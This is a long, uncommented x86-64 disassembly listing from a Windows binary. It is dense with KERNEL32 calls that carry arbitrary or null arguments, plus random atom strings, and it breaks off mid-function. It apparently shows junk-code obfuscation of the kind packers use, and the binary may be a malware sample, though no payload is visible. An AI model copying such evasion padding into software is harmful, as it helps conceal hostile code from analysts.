mov byte [0x1401e7493], al
movsx eax, word [rsp + 0xc98]
movsx ecx, word [rsp + 0xd78]
add eax, ecx
mov rcx, qword [rsp + 0xa490]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa698]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf5], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rax, [rsp + 0xbe]
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xa520]
mov rcx, qword [rsp + 0xa9d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9e78]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x43f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0xb188], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xa9b0]
mov eax, dword [rax]
mov ecx, dword [0x1401e741c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46b4], eax
mov rax, qword [rsp + 0xafe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa9d0]
mov qword [rcx], rax
lea rax, [rsp + 0xef8]
mov qword [rsp + 0xb190], rax
lea rax, [rsp + 0xba4]
mov qword [0x1401e77a8], rax
movsx eax, byte [rsp + 0xc4]
movsx ecx, byte [rsp + 0x103]
or eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0xa240]
movzx eax, byte [rax]
mov byte [rsp + 0x118], al
lea rcx, [rsp + 0x29fe0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4500], eax
mov rax, qword [rsp + 0xa230]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7600]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb180]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:Joyriders_rectilinearhazardous
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb198], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0xa3c0]
mov qword [rsp + 0xb1a0], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x44b4], eax
movzx ecx, word [rsp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd5c], ax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xaa60]
mov qword [rsp + 0xb1a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
lea rcx, str.precondition_Booster
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0xaa00]
mov rcx, qword [rsp + 0xa0a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x44f8], eax
mov rax, qword [rsp + 0xa5f0]
mov eax, dword [rax]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0x9eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa0b8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd20], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
lea rax, [0x1401e6053]
mov qword [0x1401e77b0], rax
mov rax, qword [rsp + 0xaa78]
movzx eax, word [rax]
mov word [rsp + 0xf74], ax
movzx eax, word [rsp + 0xbb8]
imul eax, eax, 0x9fb
mov rcx, qword [rsp + 0xa7e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
movsx ecx, word [0x1401e7438]
sub eax, ecx
mov word [rsp + 0xce8], ax
lea rax, [rsp + 0x99d0]
mov qword [rsp + 0xb1b0], rax
lea rdx, [rsp + 0xb1b8]
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0x95f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4868]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa150]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1a5d
mov r9d, 0x2807
mov r8d, 0xd5b3b9c1
mov edx, 1
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46d4], eax
mov rax, qword [rsp + 0x9850]
mov rax, qword [rax]
mov qword [rsp + 0xb1c0], rax
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4580], eax
mov rax, qword [rsp + 0xac58]
mov rcx, qword [rsp + 0x9e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xde8]
add eax, ecx
mov word [rsp + 0xdc4], ax
mov rax, qword [0x1401e7730]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [0x1401e6066], al
movzx eax, byte [rsp + 0xfa]
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0xa108]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81]
add eax, ecx
mov byte [rsp + 0x6e], al
mov rax, qword [0x1401e75e0]
movzx eax, word [rax]
mov word [rsp + 0xf78], ax
movsx eax, byte [rsp + 0xb6]
mov rcx, qword [rsp + 0x8fb8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab08]
mov byte [rcx], al
lea rax, [rsp + 0x43ac]
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xa5f8]
mov rcx, qword [rsp + 0x9bd8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa7b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x98c0]
shl rax, cl
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x44d8], eax
mov rcx, qword [rsp + 0x9b48]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x47d8]
mov qword [rsp + 0xb1d0], rax
lea rax, [rsp + 0xd14]
mov qword [0x1401e77b8], rax
mov dword [rsp + 0x20], 0x2667
mov r9d, 0x2f92
mov r8d, 0xe59
mov edx, 0x3388
mov rcx, qword [rsp + 0xae28]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x481c], eax
mov rax, qword [rsp + 0xa9f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa590]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbc8], ax
mov rax, qword [rsp + 0xa790]
movzx eax, byte [rax]
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0x9ff8]
movzx eax, word [rax]
mov rcx, qword [0x1401e7768]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc70], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:marketgrounding
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb1d8], rax
mov rax, qword [rsp + 0x9e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91f0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0xa6c0]
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xa9d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac18], rax
mov eax, dword [rsp + 0x4280]
mov dword [rsp + 0x48c8], eax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x46b0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9aa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaab0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e7492]
add eax, ecx
mov rcx, qword [0x1401e7630]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9718]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xe34]
mov rcx, qword [rsp + 0xae08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa78]
mov word [rcx], ax
mov rax, qword [rsp + 0xacf8]
movzx eax, byte [rax]
mov byte [rsp + 0x11b], al
lea rcx, str.Weedier_caterer_distribute_Hooky
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd60], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xa590]
movsx eax, word [rax]
mov rcx, qword [0x1401e7598]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf2c], ax
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x48cc], eax
mov edx, 0x758a1f
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0xaa20]
movzx eax, word [rax]
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0xb1a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa58], rax
mov rax, qword [0x1401e6020]
mov rcx, qword [rsp + 0xa7a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5a0], rax
mov eax, dword [rsp + 0x46d8]
mov dword [rsp + 0x48d0], eax
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9838]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [str.___f_e], al
movzx eax, word [rsp + 0xcdc]
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0xa0a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab28]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x93c0]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0xa600]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x48d4], eax
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4400], eax
lea rcx, [rsp + 0x25520]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xad70]
movzx eax, byte [rax]
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0xa6e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc9]
shl eax, cl
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [rsp + 0xa2b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9880], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb1e8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x9c
mov r9d, 0x3707
mov r8d, 0x1f8df6a
mov edx, 1
mov rcx, qword [rsp + 0x9970]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0x9e78]
mov rax, qword [rax]
mov qword [rsp + 0xb1f0], rax
mov rax, qword [rsp + 0xaa88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4424]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa860]
mov dword [rcx], eax
lea rax, [rsp + 0x47d0]
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7508]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e741a], al
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9760]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xba8], ax
mov rax, qword [rsp + 0x9440]
movzx eax, word [rax]
mov word [rsp + 0xf84], ax
lea rcx, [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, 0x1a9e
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48d8], eax
mov rcx, qword [rsp + 0xae48]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4540], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0xa888]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa880]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9db8]
mov qword [rsp + 0xb200], rax
mov eax, dword [rsp + 0x42d4]
mov ecx, dword [0x1401e6018]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4520], eax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4844]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0xa918]
mov qword [rsp + 0xb208], rax
movsx eax, byte [0x1401e6053]
movsx ecx, byte [rsp + 0xeb]
sub eax, ecx
mov rcx, qword [0x1401e75f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0xe2]
add eax, ecx
mov byte [rsp + 0x75], al
lea rax, [rsp + 0xf10]
mov qword [rsp + 0xb210], rax
movzx eax, byte [reloc.COMCTL32.dll_MakeDragList]
movzx ecx, byte [rsp + 0x10a]
sub eax, ecx
mov rcx, qword [rsp + 0xa248]
mov byte [rcx], al
lea rax, [rsp + 0xe00]
mov qword [rsp + 0xb218], rax
mov rax, qword [rsp + 0x9140]
mov ecx, dword [rsp + 0x44a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0x9e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9758]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa238]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92f8]
mov eax, dword [rax]
mov dword [rsp + 0x48dc], eax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9050], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb160], rax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc2c]
or eax, ecx
mov word [0x1401e60e0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48e0], eax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0xb220], rax
movsx eax, byte [rsp + 0xc4]
movsx ecx, byte [0x1401e601d]
sar eax, cl
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0xb170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc28]
shl eax, cl
mov rcx, qword [rsp + 0xab58]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0xd2]
mov qword [rsp + 0xb228], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf5b5
mov rcx, qword [rsp + 0xa648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47c4], eax
mov rax, qword [rsp + 0x9418]
mov rcx, qword [rsp + 0xa968]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xadc8], rax
lea rax, [rsp + 0x9670]
mov qword [rsp + 0xb230], rax
mov eax, dword [rsp + 0x4504]
imul eax, dword [rsp + 0x44c0]
mov rcx, qword [rsp + 0xb1f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa048]
mov rcx, qword [rsp + 0x9a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6053], al
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov word [rsp + 0xf88], ax
movsx eax, word [rsp + 0xe00]
mov rcx, qword [rsp + 0x9ef0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xefc], ax
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xd7]
mov qword [rsp + 0xb238], rax
movsx eax, word [rsp + 0xe4c]
mov rcx, qword [rsp + 0x9b50]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc30], ax
mov rax, qword [rsp + 0xad00]
mov rcx, qword [rsp + 0x93f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x99c0]
mov qword [rcx], rax
lea rax, [rsp + 0xa5a0]
mov qword [rsp + 0xb240], rax
mov eax, dword [rsp + 0x483c]
mov ecx, dword [rsp + 0x47ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44f8], eax
lea rax, [rsp + 0x4758]
mov qword [rsp + 0xb248], rax
mov rax, qword [rsp + 0x8fb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x63]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov byte [rcx], al
lea rax, [rsp + 0xc1c]
mov qword [0x1401e77c0], rax
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x9750]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x9d08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c40]
mov byte [rcx], al
lea rax, [0x1401e7420]
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0x91c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4814]
shl eax, cl
mov dword [rsp + 0x44c0], eax
mov eax, dword [rsp + 0x44c8]
mov dword [rsp + 0x48e4], eax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae68]
mov qword [rsp + 0xb258], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb258]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb0f8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xb260], rax
movsx eax, word [rsp + 0xd8c]
mov rcx, qword [rsp + 0xa888]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4368], eax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4440], eax
mov edx, 0x2236a3
mov rcx, qword [rsp + 0x95b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x48e8], eax
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0xd68]
xor eax, ecx
mov rcx, qword [0x1401e75c0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb98]
mov word [rsp + 0xf8c], ax
mov rax, qword [rsp + 0xacb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8c0]
movzx eax, byte [rax]
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0xa470]
mov rcx, qword [rsp + 0x9a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47ac], eax
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xa848]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x96c8], rax
mov rax, qword [rsp + 0xae10]
mov rax, qword [rax]
mov qword [rsp + 0xb268], rax
mov eax, dword [rsp + 0x46b0]
mov ecx, dword [rsp + 0x41d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0x9d40]
movzx eax, word [rax]
mov word [rsp + 0xf90], ax
mov edx, 0x65d
mov rcx, qword [rsp + 0x8c08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4680], eax
movzx eax, word [rsp + 0xf20]
mov word [0x1401e77c8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42f0], eax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [0x1401e76a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x100], al
lea rcx, [rsp + 0x2a120]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x48ec], eax
mov rax, qword [rsp + 0xacc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0xb048]
movzx eax, byte [rax]
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0xaba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4494], eax
lea rdx, [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46c0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0x4348]
mov dword [rsp + 0x48f0], eax
mov rax, qword [rsp + 0x9a48]
mov rcx, qword [rsp + 0x8da0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d8], rax
lea rax, [rsp + 0x9e48]
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0xaec0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdf]
add eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0xab50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd8]
sub eax, ecx
mov rcx, qword [0x1401e75e0]
mov word [rcx], ax
mov rax, qword [0x1401e7598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd00]
add eax, ecx
mov rcx, qword [rsp + 0xa0b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x97b0]
movzx eax, byte [rax]
mov byte [rsp + 0x120], al
movzx eax, byte [rsp + 0xfd]
movzx ecx, byte [rsp + 0x7a]
xor eax, ecx
mov byte [rsp + 0x89], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48f4], eax
mov rax, qword [rsp + 0xa6f0]
movzx eax, word [rax]
mov word [rsp + 0xf94], ax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4578], eax
mov eax, dword [rsp + 0x452c]
movzx ecx, al
mov eax, dword [rsp + 0x4790]
shr eax, cl
mov dword [rsp + 0x4544], eax
lea rcx, [rsp + 0x26998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb1c0]
movzx ecx, al
mov rax, qword [rsp + 0xb158]
shl rax, cl
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
lea rax, [rsp + 0x9278]
mov qword [rsp + 0xb278], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x4344]
mov ecx, dword [rsp + 0x4690]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd6c]
and eax, ecx
mov word [str.6_t_V], ax
movzx eax, byte [rsp + 0xf8]
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0x9678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb0f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x89], al
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x48f8], eax
movsx eax, byte [rsp + 0xe9]
movsx ecx, byte [0x1401e6062]
add eax, ecx
mov byte [rsp + 0xfb], al
lea rax, [rsp + 0xc98]
mov qword [rsp + 0xb280], rax
mov rax, qword [rsp + 0xa5a0]
mov rcx, qword [rsp + 0xa4e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9360]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb068]
mov eax, dword [rax]
mov dword [rsp + 0x48fc], eax
mov rax, qword [rsp + 0xac20]
mov ecx, dword [rsp + 0x4484]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4618], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x45d8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xb288], rax
mov rcx, qword [rsp + 0x9110]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9480]
mov qword [rsp + 0xb290], rax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e604f], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8625
mov rcx, qword [rsp + 0x9dd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478c], eax
movsx eax, byte [rsp + 0x6a]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf3], al
mov rax, qword [rsp + 0xa468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe48], ax
mov rax, qword [rsp + 0x9820]
movzx eax, byte [rax]
mov byte [rsp + 0x122], al
movzx eax, word [0x1401e6088]
movzx ecx, word [rsp + 0xca4]
sub eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0xb268]
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0x9c00]
mov ecx, dword [0x1401e6018]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa118]
movzx ecx, al
mov rax, qword [rsp + 0xab70]
shl rax, cl
mov qword [rsp + 0xae98], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf98], ax
lea rax, [rsp + 0x4458]
mov qword [rsp + 0xb2a0], rax
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa260]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e60e8], ax
movsx eax, byte [rsp + 0xbf]
mov rcx, qword [rsp + 0x9c40]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa710]
